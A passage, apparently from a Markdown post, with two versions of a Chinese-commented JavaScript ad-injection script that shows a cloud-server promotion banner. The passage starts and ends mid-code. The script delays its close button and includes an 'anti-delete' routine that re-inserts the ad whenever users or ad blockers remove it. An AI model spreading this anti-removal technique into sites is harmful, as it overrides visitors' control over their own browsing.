          .advanced-ad-container.position-bottom-left,
          .advanced-ad-container.position-bottom-right {
            max-width: 100% !important;
            width: 100% !important;
            left: 0 !important;
            right: auto !important;
            border-radius: 0 !important;
          }

          .advanced-ad-content {
            padding: 12px 16px;
            gap: 12px;
          }

          .advanced-ad-link-text,
          .advanced-ad-close-text {
            display: none;
          }

          .advanced-ad-actions {
            gap: 8px;
          }

          .advanced-ad-close-btn {
            padding: 6px 8px;
            min-width: 32px;
            justify-content: center;
          }
        }

        ${this.config.customCSS}
      `;
      document.head.appendChild(style);
    }

    createAdElement() {
      const container = document.createElement('div');
      container.className = `advanced-ad-container position-${this.config.position}`;
      container.id = 'advanced-ad-injected';
      // 如果支持折叠，添加标记类，便于样式或脚本针对折叠行为做处理
      if (this.config.collapsible) {
        container.classList.add('has-collapse');
      }
      
      if (this.config.height !== 'auto') {
        container.style.height = this.config.height;
      }

      // 内容区域
      const content = document.createElement('div');
      content.className = 'advanced-ad-content';

      // 图标
      if (this.config.icon) {
        const icon = document.createElement('div');
        icon.className = 'advanced-ad-icon';
        icon.innerHTML = this.config.icon;
        content.appendChild(icon);
      }

      // 消息
      const message = document.createElement('div');
      message.className = 'advanced-ad-message';
      message.innerHTML = this.config.message;
      content.appendChild(message);

      // 操作按钮
      const actions = document.createElement('div');
      actions.className = 'advanced-ad-actions';

      // 链接
      if (this.config.linkUrl) {
        const link = document.createElement('a');
        link.className = 'advanced-ad-link';
        link.href = this.config.linkUrl;
        link.target = '_blank';
        link.innerHTML = `
          <span class="advanced-ad-link-text">${this.config.linkText}</span>
          <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
            <path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path>
            <polyline points="15 3 21 3 21 9"></polyline>
            <line x1="10" y1="14" x2="21" y2="3"></line>
          </svg>
        `;
        actions.appendChild(link);
      }

      // 关闭按钮
      if (this.config.showCloseButton) {
        const closeBtn = document.createElement('button');
        closeBtn.className = 'advanced-ad-close-btn';
        closeBtn.innerHTML = `
          <span class="advanced-ad-close-text">${this.config.closeText} (${this.closeCountdown}s)</span>
          <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
            <line x1="18" y1="6" x2="6" y2="18"></line>
            <line x1="6" y1="6" x2="18" y2="18"></line>
          </svg>
        `;
        closeBtn.addEventListener('click', () => this.closeAd());
        actions.appendChild(closeBtn);
        this.closeBtnElement = closeBtn;
      }

      content.appendChild(actions);
      container.appendChild(content);

      // 折叠按钮
      if (this.config.collapsible) {
        const collapseBtn = document.createElement('button');
        collapseBtn.className = 'advanced-ad-collapse-btn';
        
        // 根据位置决定图标方向
        const isBottom = this.config.position.includes('bottom');
        collapseBtn.innerHTML = `
          <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
            <polyline points="6 9 12 15 18 9"></polyline>
          </svg>
        `;
        collapseBtn.addEventListener('click', (e) => {
          e.stopPropagation();
          this.toggleCollapse();
          this.resetAutoRemoveTimer();
        });
        container.appendChild(collapseBtn);
      }

      if (this.isCollapsed) {
        container.classList.add('collapsed');
      }

      this.adElement = container;
    }

    createSidebarTab() {
      if (this.sidebarElement) return;

      const sidebar = document.createElement('div');
      sidebar.className = 'advanced-ad-sidebar';
      sidebar.id = 'advanced-ad-sidebar';
      
      // 根据原广告位置决定侧边栏位置
      const pos = this.config.position;
      if (pos.includes('right')) {
        sidebar.classList.add('position-right');
      } else {
        sidebar.classList.add('position-left');
      }
      
      sidebar.textContent = this.config.sidebarText;
      sidebar.addEventListener('click', () => this.reopenAd());
      
      document.body.appendChild(sidebar);
      this.sidebarElement = sidebar;
      
      // 延迟显示动画
      setTimeout(() => sidebar.classList.add('show'), 100);
    }

    insertAdElement() {
      if (!this.adElement) return;
      
      // 检查是否已存在
      const existing = document.getElementById('advanced-ad-injected');
      if (existing) {
        existing.remove();
      }

      document.body.appendChild(this.adElement);
    }

    startCloseTimer() {
      if (!this.config.showCloseButton) return;

      this.closeTimer = setInterval(() => {
        this.closeCountdown--;
        
        if (this.closeBtnElement) {
          const textSpan = this.closeBtnElement.querySelector('.advanced-ad-close-text');
          if (textSpan) {
            textSpan.textContent = `${this.config.closeText} (${this.closeCountdown}s)`;
          }
        }

        if (this.closeCountdown <= 0) {
          clearInterval(this.closeTimer);
          if (this.closeBtnElement) {
            this.closeBtnElement.classList.add('enabled');
            this.closeBtnElement.style.cursor = 'pointer';
            const textSpan = this.closeBtnElement.querySelector('.advanced-ad-close-text');
            if (textSpan) {
              textSpan.textContent = this.config.closeText;
            }
          }
        }
      }, 1000);
    }

    toggleCollapse() {
      this.isCollapsed = !this.isCollapsed;
      
      if (this.adElement) {
        this.adElement.classList.toggle('collapsed', this.isCollapsed);
      }

      if (typeof this.config.onCollapse === 'function') {
        this.config.onCollapse(this.isCollapsed);
      }
    }

    closeAd() {
      if (this.closeCountdown > 0) return;
      if (this.isClosed) return;

      this.isClosed = true;

      if (this.adElement) {
        this.adElement.style.opacity = '0';
        this.adElement.style.transform = this.getCloseTransform();
        
        setTimeout(() => {
          if (this.adElement && this.adElement.parentNode) {
            this.adElement.remove();
            this.adElement = null;
          }
          
          // 根据配置决定关闭后行为
          if (this.config.afterClose === 'hide-sidebar') {
            this.createSidebarTab();
          } else if (this.config.afterClose === 'remove') {
            this.stopAntiDelete();
            this.stopAutoRemoveTimer();
          }
        }, 300);
      }

      if (this.closeTimer) {
        clearInterval(this.closeTimer);
      }

      if (typeof this.config.onClose === 'function') {
        this.config.onClose();
      }
    }

    reopenAd() {
      if (this.sidebarElement) {
        this.sidebarElement.classList.remove('show');
        setTimeout(() => {
          if (this.sidebarElement && this.sidebarElement.parentNode) {
            this.sidebarElement.remove();
            this.sidebarElement = null;
          }
        }, 300);
      }

      this.isClosed = false;
      this.closeCountdown = this.config.closeDelay;
      this.inject();
    }

    getCloseTransform() {
      const pos = this.config.position;
      if (pos.includes('top')) return 'translateY(-100%)';
      if (pos.includes('bottom')) return 'translateY(100%)';
      if (pos === 'left') return 'translateX(-100%)';
      if (pos === 'right') return 'translateX(100%)';
      return 'scale(0.8)';
    }

    setupAntiDelete() {
      if (!this.config.enableAntiDelete) return;

      // 使用 MutationObserver 监听DOM变化
      this.observer = new MutationObserver((mutations) => {
        // 防止在注入过程中触发
        if (this.isInjecting || this.isClosed) return;

        for (const mutation of mutations) {
          if (mutation.type === 'childList') {
            for (const node of mutation.removedNodes) {
              // 检测主容器或侧边栏被删除
              if (node === this.adElement || 
                  (node.id && node.id === 'advanced-ad-injected') ||
                  node === this.sidebarElement ||
                  (node.id && node.id === 'advanced-ad-sidebar')) {
                
                console.warn('⚠️ 检测到广告被删除，正在恢复...');
                
                if (typeof this.config.onDelete === 'function') {
                  this.config.onDelete();
                }
                
                // 短暂延迟后重新插入
                setTimeout(() => {
                  if (!document.getElementById('advanced-ad-injected') && !this.isClosed) {
                    this.inject();
                  }
                  if (!document.getElementById('advanced-ad-sidebar') && this.isClosed && this.config.afterClose === 'hide-sidebar') {
                    this.createSidebarTab();
                  }
                }, 100);
                
                return; // 只处理一次
              }
            }
          }
        }
      });

      // 观察 body 和整个文档树
      this.observer.observe(document.body, {
        childList: true,
        subtree: true
      });

      // 定期检查（备用方案）
      this.checkInterval = setInterval(() => {
        if (this.isInjecting || this.isClosed) return;
        
        if (!document.getElementById('advanced-ad-injected') && this.adElement) {
          console.warn('⚠️ 定期检查：广告丢失，正在恢复...');
          if (typeof this.config.onDelete === 'function') {
            this.config.onDelete();
          }
          this.inject();
        }
        
        if (this.isClosed && this.config.afterClose === 'hide-sidebar' && !document.getElementById('advanced-ad-sidebar')) {
          this.createSidebarTab();
        }
      }, 2000);
    }

    stopAntiDelete() {
      if (this.observer) {
        this.observer.disconnect();
        this.observer = null;
      }
      if (this.checkInterval) {
        clearInterval(this.checkInterval);
        this.checkInterval = null;
      }
    }

    startAutoRemoveTimer() {
      if (this.config.autoRemoveDelay <= 0) return;
      
      this.resetAutoRemoveTimer();
    }

    resetAutoRemoveTimer() {
      this.lastInteractionTime = Date.now();
      
      if (this.autoRemoveTimer) {
        clearTimeout(this.autoRemoveTimer);
      }

      if (this.config.autoRemoveDelay > 0 && !this.isClosed) {
        this.autoRemoveTimer = setTimeout(() => {
          if (Date.now() - this.lastInteractionTime >= this.config.autoRemoveDelay * 1000) {
            console.log('⏱️ 无交互超时，自动移除广告');
            this.forceRemove();
          }
        }, this.config.autoRemoveDelay * 1000);
      }
    }

    stopAutoRemoveTimer() {
      if (this.autoRemoveTimer) {
        clearTimeout(this.autoRemoveTimer);
        this.autoRemoveTimer = null;
      }
    }

    forceRemove() {
      this.isClosed = true;
      this.stopAntiDelete();
      this.stopAutoRemoveTimer();
      
      if (this.adElement && this.adElement.parentNode) {
        this.adElement.remove();
        this.adElement = null;
      }
      
      if (this.sidebarElement && this.sidebarElement.parentNode) {
        this.sidebarElement.remove();
        this.sidebarElement = null;
      }

      if (typeof this.config.onClose === 'function') {
        this.config.onClose();
      }
    }

    updateMobileStyles() {
      // 移动端样式已在CSS中处理，这里可以添加额外逻辑
    }
  }

  // ==================== 启动 ====================
  new AdvancedAdInjector(CONFIG);

})();
```

### 2

```js
/**
 * 高级广告注入脚本
 * 参考 Google 公告栏设计，支持多位置、防删除、自定义样式
 */

(function() {
  'use strict';

  // ==================== 配置区域 ====================
  const CONFIG = {
    // 基础配置
    position: 'bottom', // 位置: top, bottom, left, right, top-left, top-right, bottom-left, bottom-right
    message: ` <div class="server-ad">
      <div class="ad-tag">限时特惠</div>
      <div class="ad-content">
        <div class="ad-left">
          <h3>企业级云服务器 限时特惠</h3>
          <p>99.99%可用 | 万兆带宽 | 弹性扩容 | 数据加密</p>
        </div>
        <div class="ad-right">
          <span class="original">¥1299/月</span>
          <span class="discount">¥599/月起</span>
          <button class="ad-btn">立即开通</button>
        </div>
      </div>
    </div>`, // 支持HTML
    linkText: '更多', // 链接文字
    linkUrl: 'https://yumg.cn', // 链接地址
    closeText: '关闭', // 关闭按钮文字
    
    // 样式配置
    width: 'full', // 宽度: auto, full, 或具体数值如 '800px'
    height: 'auto', // 高度: auto 或具体数值如 '80px'
    backgroundColor: '#f8f9fa',
    textColor: '#202124',
    primaryColor: '#1a73e8',
    borderColor: '#dadce0',
    
    // 功能配置
    collapsible: true, // 是否可折叠
    defaultCollapsed: false, // 默认是否折叠
    closeDelay: 3, // 关闭延迟（秒）
    showCloseButton: true, // 是否显示关闭按钮
    enableAntiDelete: true, // 是否启用防删除
    
    // 关闭后行为配置
    afterClose: 'remove', // 关闭后行为: 'remove' (完全移除), 'hide-sidebar' (隐藏到侧边显示小标签)
    autoRemoveDelay: 0, // 无交互后自动移除延迟（秒），0表示不自动移除
    sidebarText: '公告', // 侧边栏显示的文字
    
    // 图标配置
    icon: `<svg t="1762864465847" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="5368" width="27" height="27"><path d="M512.670266 959.469288c-246.343571 0-446.760137-200.63146-446.760137-447.240067S266.325671 64.979944 512.670266 64.979944s446.760137 200.641693 446.760137 447.2503S759.013837 959.469288 512.670266 959.469288zM512.670266 130.429585c-210.29147 0-381.381104 171.283038-381.381104 381.800659S302.378795 894.019647 512.670266 894.019647s381.381104-171.272805 381.381104-381.790426S722.961736 130.429585 512.670266 130.429585z" fill="#276BC0" p-id="5369"></path><path d="M447.290209 317.17171a63.891 63.959 0 1 0 130.760113 0 63.891 63.959 0 1 0-130.760113 0Z" fill="#276BC0" p-id="5370"></path><path d="M512.197498 820.218804c-30.093389 0-54.235229-24.416086-54.235229-54.541197L457.96227 482.062154c0-30.126134 24.14184-54.541197 54.235229-54.541197 30.093389 0 54.235229 24.416086 54.235229 54.541197l0 283.615453C566.432727 795.802718 542.290887 820.218804 512.197498 820.218804z" fill="#2f80e9" p-id="5371"></path></svg>`, // 默认信息图标
    
    // 自定义CSS
     customCSS: `
    .server-ad {
      // width: 100%;
      height: 100px;
      // background: #fff;
      // border: 1px solid #eee;
      border-radius: 6px;
      display: flex;
      flex-direction: column;
      justify-content: center;
      padding: 0 25px;
      color: #000;
      font-family: 'Segoe UI', sans-serif;
      // box-shadow: 0 3px 8px rgba(0,0,0,0.05);
      position: relative;
    }
    .ad-tag {
      position: absolute;
      top: 9px;
      left: 25px;
      background: #e22d0eff;
      color: #fff;
      font-size: 11px;
      padding: 2px 8px;
      border-radius: 10px;
      font-weight: 600;
      z-index: 1;
    }
    .ad-content {
      display: flex;
      align-items: center;
      justify-content: space-between;
      margin-top: 10px;
    }
    .ad-left h3 {
      font-size: 16px;
      margin-bottom: 4px;
      font-weight: 700;
      color: #000;
    }
    .ad-left p {
      font-size: 12px;
      opacity: 0.7;
      display: flex;
      gap: 12px;
      color: #333;
    }
    .ad-right {
      display: flex;
      align-items: center;
      gap: 18px;
    }
    .original {
      font-size: 11px;
      text-decoration: line-through;
      opacity: 0.5;
      color: #666;
    }
    .discount {
      font-size: 18px;
      font-weight: 700;
      color: #000;
    }
    .ad-btn {
      background: #000;
      color: #fff;
      border: none;
      padding: 6px 18px;
      border-radius: 4px;
      font-size: 13px;
      font-weight: 600;
      cursor: pointer;
      transition: all 0.2s ease;
    }
    .ad-btn:hover {
      background: #333;
      transform: translateY(-1px);
      box-shadow: 0 2px 6px rgba(0, 0, 0, 0.15);
    }
    /* 适配小屏幕 */
    @media (max-width: 768px) {
      .server-ad {
        height: auto;
        padding: 15px;
      }
      .ad-content {
        flex-direction: column;
        gap: 10px;
        text-align: center;
      }
      .ad-left p {
        justify-content: center;
        flex-wrap: wrap;
      }
      .ad-tag {
        top: 10px;
        left: 50%;
        transform: translateX(-50%);
      }
    }
  `,
    
    // 自定义JS（在广告插入后执行）
    customJS: function(adElement) {
      // console.log('广告已插入:', adElement);
    },
    
    // 回调函数
    onDelete: function() {
      console.warn('⚠️ 检测到广告被删除，正在恢复...');
      // 可以在这里添加自定义逻辑，比如记录删除行为
    },
    
    onClose: function() {
      console.log('广告已关闭');
    },
    
    onCollapse: function(isCollapsed) {
      console.log('广告折叠状态:', isCollapsed);
    }
  };

  // ==================== 核心类 ====================
  class AdvancedAdInjector {
    constructor(config) {
      this.config = config;
      this.adElement = null;
      this.sidebarElement = null;
      this.isCollapsed = config.defaultCollapsed;
      this.isClosed = false;
      this.isInjecting = false; // 防止重复注入
      this.closeTimer = null;
      this.autoRemoveTimer = null;
      this.closeCountdown = config.closeDelay;
      this.observer = null;
      this.isMobile = window.innerWidth <= 768;
      this.lastInteractionTime = Date.now();
      
      this.init();
    }

    init() {
      if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', () => this.inject());
      } else {
        this.inject();
      }
      
      // 监听窗口大小变化
      window.addEventListener('resize', () => {
        const wasMobile = this.isMobile;
        this.isMobile = window.innerWidth <= 768;
        if (wasMobile !== this.isMobile && this.adElement) {
          this.updateMobileStyles();
        }
      });

      // 监听用户交互以重置自动移除计时器
      if (this.config.autoRemoveDelay > 0) {
        ['click', 'mousemove', 'keydown', 'scroll', 'touchstart'].forEach(event => {
          document.addEventListener(event, () => this.resetAutoRemoveTimer(), { passive: true });
        });
      }
    }

    inject() {
      if (this.isInjecting) return;
      this.isInjecting = true;

      try {
        this.injectStyles();
        this.createAdElement();
        this.insertAdElement();
        this.startCloseTimer();
        this.setupAntiDelete();
        this.startAutoRemoveTimer();
        
        // 执行自定义JS
        if (typeof this.config.customJS === 'function') {
          this.config.customJS(this.adElement);
        }
      } finally {
        this.isInjecting = false;
      }
    }

    injectStyles() {
      const style = document.createElement('style');
      style.id = 'advanced-ad-styles';
      style.textContent = `
        .advanced-ad-container {
          position: fixed;
          z-index: 999999;
          background: ${this.config.backgroundColor};
          color: ${this.config.textColor};
          border: 1px solid ${this.config.borderColor};
          box-shadow: 0 2px 8px rgba(0,0,0,0.1);
          font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
          font-size: 14px;
          line-height: 1.5;
          transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
          /* 允许折叠按钮等元素超出容器显示，确保按钮跟随容器边缘并不被裁剪 */
          overflow: visible;
        }

        .advanced-ad-container.position-top,
        .advanced-ad-container.position-bottom {
          left: 50%;
          transform: translateX(-50%);
          ${this.config.width === 'full' ? 'width: 100%; left: 0; transform: none;' : 
            this.config.width === 'auto' ? 'max-width: 90%; width: auto;' : 
            `width: ${this.config.width};`}
        }

        .advanced-ad-container.position-top {
          top: 0;
          border-radius: 0 0 8px 8px;
          border-top: none;
        }

        .advanced-ad-container.position-bottom {
          bottom: 0;
          border-radius: 8px 8px 0 0;
          border-bottom: none;
        }

        .advanced-ad-container.position-left,
        .advanced-ad-container.position-right {
          top: 50%;
          transform: translateY(-50%);
          max-width: 400px;
        }

        .advanced-ad-container.position-left {
          left: 0;
          border-radius: 0 8px 8px 0;
          border-left: none;
        }

        .advanced-ad-container.position-right {
          right: 0;
          border-radius: 8px 0 0 8px;
          border-right: none;
        }

        .advanced-ad-container.position-top-left,
        .advanced-ad-container.position-top-right,
        .advanced-ad-container.position-bottom-left,
        .advanced-ad-container.position-bottom-right {
          max-width: 400px;
        }

        .advanced-ad-container.position-top-left {
          top: 20px;
          left: 20px;
          border-radius: 8px;
        }

        .advanced-ad-container.position-top-right {
          top: 20px;
          right: 20px;
          border-radius: 8px;
        }

        .advanced-ad-container.position-bottom-left {
          bottom: 20px;
          left: 20px;
          border-radius: 8px;
        }

        .advanced-ad-container.position-bottom-right {
          bottom: 20px;
          right: 20px;
          border-radius: 8px;
        }

        .advanced-ad-container.collapsed .advanced-ad-content {
          max-height: 0;
          opacity: 0;
          padding: 0 20px;
          margin: 0;
        }

        .advanced-ad-content {
          max-height: 500px;
          opacity: 1;
          padding: 16px 20px;
          transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
          display: flex;
          align-items: center;
          gap: 16px;
        }

        .advanced-ad-icon {
          flex-shrink: 0;
          color: ${this.config.primaryColor};
          display: flex;
          align-items: center;
        }

        .advanced-ad-message {
          flex: 1;
          min-width: 0;
        }

        .advanced-ad-actions {
          display: flex;
          align-items: center;
          gap: 12px;
          flex-shrink: 0;
        }

        .advanced-ad-link {
          color: ${this.config.primaryColor};
          text-decoration: none;
          font-weight: 500;
          white-space: nowrap;
          display: flex;
          align-items: center;
          gap: 4px;
          transition: opacity 0.2s;
        }

        .advanced-ad-link:hover {
          opacity: 0.8;
        }

        .advanced-ad-close-btn {
          background: transparent;
          border: 1px solid ${this.config.borderColor};
          color: ${this.config.textColor};
          padding: 6px 12px;
          border-radius: 4px;
          cursor: not-allowed;
          font-size: 13px;
          white-space: nowrap;
          transition: all 0.2s;
          display: flex;
          align-items: center;
          gap: 4px;
        }

        .advanced-ad-close-btn.enabled {
          cursor: pointer;
          background: ${this.config.primaryColor};
          color: white;
          border-color: ${this.config.primaryColor};
        }

        .advanced-ad-close-btn.enabled:hover {
          opacity: 0.9;
        }

        .advanced-ad-collapse-btn {
          position: absolute;
          left: 50%;
          transform: translateX(-50%);
          background: ${this.config.backgroundColor};
          border: 1px solid ${this.config.borderColor};
          border-radius: 50%;
          width: 24px;
          height: 24px;
          display: flex;
          align-items: center;
          justify-content: center;
          cursor: pointer;
          transition: all 0.2s;
          box-shadow: 0 2px 4px rgba(0,0,0,0.12);
          /* 确保按钮在最前层且不被裁切 */
          z-index: 1000001;
          overflow: visible;
        }

        /* 根据位置动态调整折叠按钮位置 */
        .advanced-ad-container.position-top .advanced-ad-collapse-btn,
        .advanced-ad-container.position-top-left .advanced-ad-collapse-btn,
        .advanced-ad-container.position-top-right .advanced-ad-collapse-btn {
          bottom: -12px;
          top: auto;
        }

        .advanced-ad-container.position-bottom .advanced-ad-collapse-btn,
        .advanced-ad-container.position-bottom-left .advanced-ad-collapse-btn,
        .advanced-ad-container.position-bottom-right .advanced-ad-collapse-btn {
          top: -12px;
          bottom: auto;
        }

        .advanced-ad-container.position-left .advanced-ad-collapse-btn,
        .advanced-ad-container.position-right .advanced-ad-collapse-btn {
          top: 50%;
          transform: translate(-50%, -50%);
        }

        .advanced-ad-collapse-btn:hover {
          background: ${this.config.borderColor};
        }

        .advanced-ad-collapse-btn svg {
          width: 16px;
          height: 16px;
          transition: transform 0.3s;
        }

        .advanced-ad-container.collapsed .advanced-ad-collapse-btn svg {
          transform: rotate(180deg);
        }

        /* 侧边栏标签样式 */
        .advanced-ad-sidebar {
          position: fixed;
          z-index: 999999;
          background: ${this.config.primaryColor};
          color: white;
          padding: 12px 8px;
          font-size: 12px;
          font-weight: 500;
          cursor: pointer;
          transition: all 0.3s;
          writing-mode: vertical-rl;
          text-orientation: mixed;
          border-radius: 0 4px 4px 0;
          box-shadow: 2px 0 8px rgba(0,0,0,0.15);
          opacity: 0;
          transform: translateX(-100%);
        }

        .advanced-ad-sidebar.show {
          opacity: 1;
          transform: translateX(0);
        }

        .advanced-ad-sidebar:hover {
          background: ${this.config.primaryColor}dd;
          padding-right: 12px;
        }

        .advanced-ad-sidebar.position-left {
          left: 0;
          top: 50%;
          transform: translateY(-50%) translateX(-100%);
        }

        .advanced-ad-sidebar.position-left.show {
          transform: translateY(-50%) translateX(0);
        }

        .advanced-ad-sidebar.position-right {
          right: 0;
          top: 50%;
          transform: translateY(-50%) translateX(100%);
          border-radius: 4px 0 0 4px;
          writing-mode: vertical-lr;
        }

        .advanced-ad-sidebar.position-right.show {
          transform: translateY(-50%) translateX(0);
        }

        .advanced-ad-sidebar.position-right:hover {
          padding-left: 12px;
          padding-right: 8px;
        }

        /* 移动端样式 */
        @media (max-width: 768px) {
          .advanced-ad-container {
            max-width: 100% !important;
            width: 100% !important;
          }

          .advanced-ad-container.position-top,
          .advanced-ad-container.position-bottom {
            left: 0 !important;
            transform: none !important;
            border-radius: 0 !important;
          }

          .advanced-ad-container.position-left,
          .advanced-ad-container.position-right,
          .advanced-ad-container.position-top-left,
          .advanced-ad-container.position-top-right,
          .advanced-ad-container.position-bottom-left,
          .advanced-ad-container.position-bottom-right {
            max-width: 100% !important;
            width: 100% !important;
            left: 0 !important;
            right: auto !important;
            border-radius: 0 !important;
          }

          .advanced-ad-content {
            padding: 12px 16px;
            gap: 12px;
          }

          .advanced-ad-link-text,
          .advanced-ad-close-text {
            display: none;
          }

          .advanced-ad-actions {
            gap: 8px;
          }

          .advanced-ad-close-btn {
            padding: 6px 8px;
            min-width: 32px;
            justify-content: center;
          }
        }

        ${this.config.customCSS}
      `;
      document.head.appendChild(style);
    }

    createAdElement() {
      const container = document.createElement('div');
      container.className = `advanced-ad-container position-${this.config.position}`;
      container.id = 'advanced-ad-injected';
      // 如果支持折叠，添加标记类，便于样式或脚本针对折叠行为做处理
      if (this.config.collapsible) {
        container.classList.add('has-collapse');
      }
      
      if (this.config.height !== 'auto') {
        container.style.height = this.config.height;
      }

      // 内容区域
      const content = document.createElement('div');
      content.className = 'advanced-ad-content';

      // 图标
      if (this.config.icon) {
        const icon = document.createElement('div');
        icon.className = 'advanced-ad-icon';
        icon.innerHTML = this.config.icon;
        content.appendChild(icon);
      }

      // 消息
      const message = document.createElement('div');
      message.className = 'advanced-ad-message';
      message.innerHTML = this.config.message;
      content.appendChild(message);

      // 操作按钮
      const actions = document.createElement('div');
      actions.className = 'advanced-ad-actions';

      // 链接
      if (this.config.linkUrl) {
        const link = document.createElement('a');
        link.className = 'advanced-ad-link';
        link.href = this.config.linkUrl;
        link.target = '_blank';
        link.innerHTML = `
          <span class="advanced-ad-link-text">${this.config.linkText}</span>
          <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
            <path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path>
            <polyline points="15 3 21 3 21 9"></polyline>
            <line x1="10" y1="14" x2="21" y2="3"></line>
          </svg>
        `;
        actions.appendChild(link);
      }

      // 关闭按钮
      if (this.config.showCloseButton) {
        const closeBtn = document.createElement('button');
        closeBtn.className = 'advanced-ad-close-btn';
        closeBtn.innerHTML = `
          <span class="advanced-ad-close-text">${this.config.closeText} (${this.closeCountdown}s)</span>
          <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
            <line x1="18" y1="6" x2="6" y2="18"></line>
            <line x1="6" y1="6" x2="18" y2="18"></line>
          </svg>
        `;
        closeBtn.addEventListener('click', () => this.closeAd());
        actions.appendChild(closeBtn);
        this.closeBtnElement = closeBtn;
      }

      content.appendChild(actions);
      container.appendChild(content);

      // 折叠按钮
      if (this.config.collapsible) {
        const collapseBtn = document.createElement('button');
        collapseBtn.className = 'advanced-ad-collapse-btn';
        
        // 根据位置决定图标方向
        const isBottom = this.config.position.includes('bottom');
        collapseBtn.innerHTML = `
          <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
            <polyline points="6 9 12 15 18 9"></polyline>
          </svg>
        `;
        collapseBtn.addEventListener('click', (e) => {
          e.stopPropagation();
          this.toggleCollapse();
          this.resetAutoRemoveTimer();
        });
        container.appendChild(collapseBtn);
      }

      if (this.isCollapsed) {
        container.classList.add('collapsed');
      }

      this.adElement = container;
    }

    createSidebarTab() {
      if (this.sidebarElement) return;

      const sidebar = document.createElement('div');
      sidebar.className = 'advanced-ad-sidebar';
      sidebar.id = 'advanced-ad-sidebar';
      
      // 根据原广告位置决定侧边栏位置
      const pos = this.config.position;
      if (pos.includes('right')) {
        sidebar.classList.add('position-right');
      } else {
        sidebar.classList.add('position-left');
      }
      
      sidebar.textContent = this.config.sidebarText;
      sidebar.addEventListener('click', () => this.reopenAd());
      
      document.body.appendChild(sidebar);
      this.sidebarElement = sidebar;
      
      // 延迟显示动画
      setTimeout(() => sidebar.classList.add('show'), 100);
    }

    insertAdElement() {
      if (!this.adElement) return;
      
      // 检查是否已存在
      const existing = document.getElementById('advanced-ad-injected');
      if (existing) {
        existing.remove();
      }

      document.body.appendChild(this.adElement);
    }

    startCloseTimer() {
      if (!this.config.showCloseButton) return;

      this.closeTimer = setInterval(() => {
        this.closeCountdown--;
        
        if (this.closeBtnElement) {
          const textSpan = this.closeBtnElement.querySelector('.advanced-ad-close-text');
          if (textSpan) {
            textSpan.textContent = `${this.config.closeText} (${this.closeCountdown}s)`;
          }
        }

        if (this.closeCountdown <= 0) {
          clearInterval(this.closeTimer);
          if (this.closeBtnElement) {
            this.closeBtnElement.classList.add('enabled');
            this.closeBtnElement.style.cursor = 'pointer';
            const textSpan = this.closeBtnElement.querySelector('.advanced-ad-close-text');
            if (textSpan) {
              textSpan.textContent = this.config.closeText;
            }
          }
        }
      }, 1000);
    }

    toggleCollapse() {
      this.isCollapsed = !this.isCollapsed;
      
      if (this.adElement) {
        this.adElement.classList.toggle('collapsed', this.isCollapsed);
      }

      if (typeof this.config.onCollapse === 'function') {
        this.config.onCollapse(this.isCollapsed);
      }
    }

    closeAd() {
      if (this.closeCountdown > 0) return;
      if (this.isClosed) return;

      this.isClosed = true;

      if (this.adElement) {
        this.adElement.style.opacity = '0';
        this.adElement.style.transform = this.getCloseTransform();
        
        setTimeout(() => {
          if (this.adElement && this.adElement.parentNode) {
            this.adElement.remove();
            this.adElement = null;
          }
          
          // 根据配置决定关闭后行为
          if (this.config.afterClose === 'hide-sidebar') {
            this.createSidebarTab();
          } else if (this.config.afterClose === 'remove') {
            this.stopAntiDelete();
            this.stopAutoRemoveTimer();
          }
        }, 300);
      }

      if (this.closeTimer) {
        clearInterval(this.closeTimer);
      }

      if (typeof this.config.onClose === 'function') {
        this.config.onClose();
      }
    }

    reopenAd() {
      if (this.sidebarElement) {
        this.sidebarElement.classList.remove('show');
        setTimeout(() => {
          if (this.sidebarElement && this.sidebarElement.parentNode) {
            this.sidebarElement.remove();
            this.sidebarElement = null;
          }
        }, 300);
      }

      this.isClosed = false;
      this.closeCountdown = this.config.closeDelay;
      this.inject();
    }

    getCloseTransform() {
      const pos = this.config.position;
      if (pos.includes('top')) return 'translateY(-100%)';
      if (pos.includes('bottom')) return 'translateY(100%)';
      if (pos === 'left') return 'translateX(-100%)';
      if (pos === 'right') return 'translateX(100%)';
      return 'scale(0.8)';
    }

    setupAntiDelete() {
      if (!this.config.enableAntiDelete) return;

      // 使用 MutationObserver 监听DOM变化
      this.observer = new MutationObserver((mutations) => {
        // 防止在注入过程中触发
        if (this.isInjecting || this.isClosed) return;

        for (const mutation of mutations) {
          if (mutation.type === 'childList') {
            for (const node of mutation.removedNodes) {
              // 检测主容器或侧边栏被删除
              if (node === this.adElement || 
                  (node.id && node.id === 'advanced-ad-injected') ||
                  node === this.sidebarElement ||
                  (node.id && node.id === 'advanced-ad-sidebar')) {
                
                console.warn('⚠️ 检测到广告被删除，正在恢复...');
                
                if (typeof this.config.onDelete === 'function') {
                  this.config.onDelete();
                }
                
                // 短暂延迟后重新插入
                setTimeout(() => {
                  if (!document.getElementById('advanced-ad-injected') && !this.isClosed) {
                    this.inject();
                  }
                  if (!document.getElementById('advanced-ad-sidebar') && this.isClosed && this.config.afterClose === 'hide-sidebar') {
                    this.createSidebarTab();
                  }
                }, 100);
                
                return; // 只处理一次
              }
            }
          }
        }
      });

      // 观察 body 和整个文档树
      this.observer.observe(document.body, {
        childList: true,
        subtree: true
      });

      // 定期检查（备用方案）
      this.checkInterval = setInterval(() => {
        if (this.isInjecting || this.isClosed) return;
        
        if (!document.getElementById('advanced-ad-injected') && this.adElement) {
          console.warn('⚠️ 定期检查：广告丢失，正在恢复...');
          if (typeof this.config.onDelete === 'function') {
            this.config.onDelete();
          }
          this.inject();
        }
        
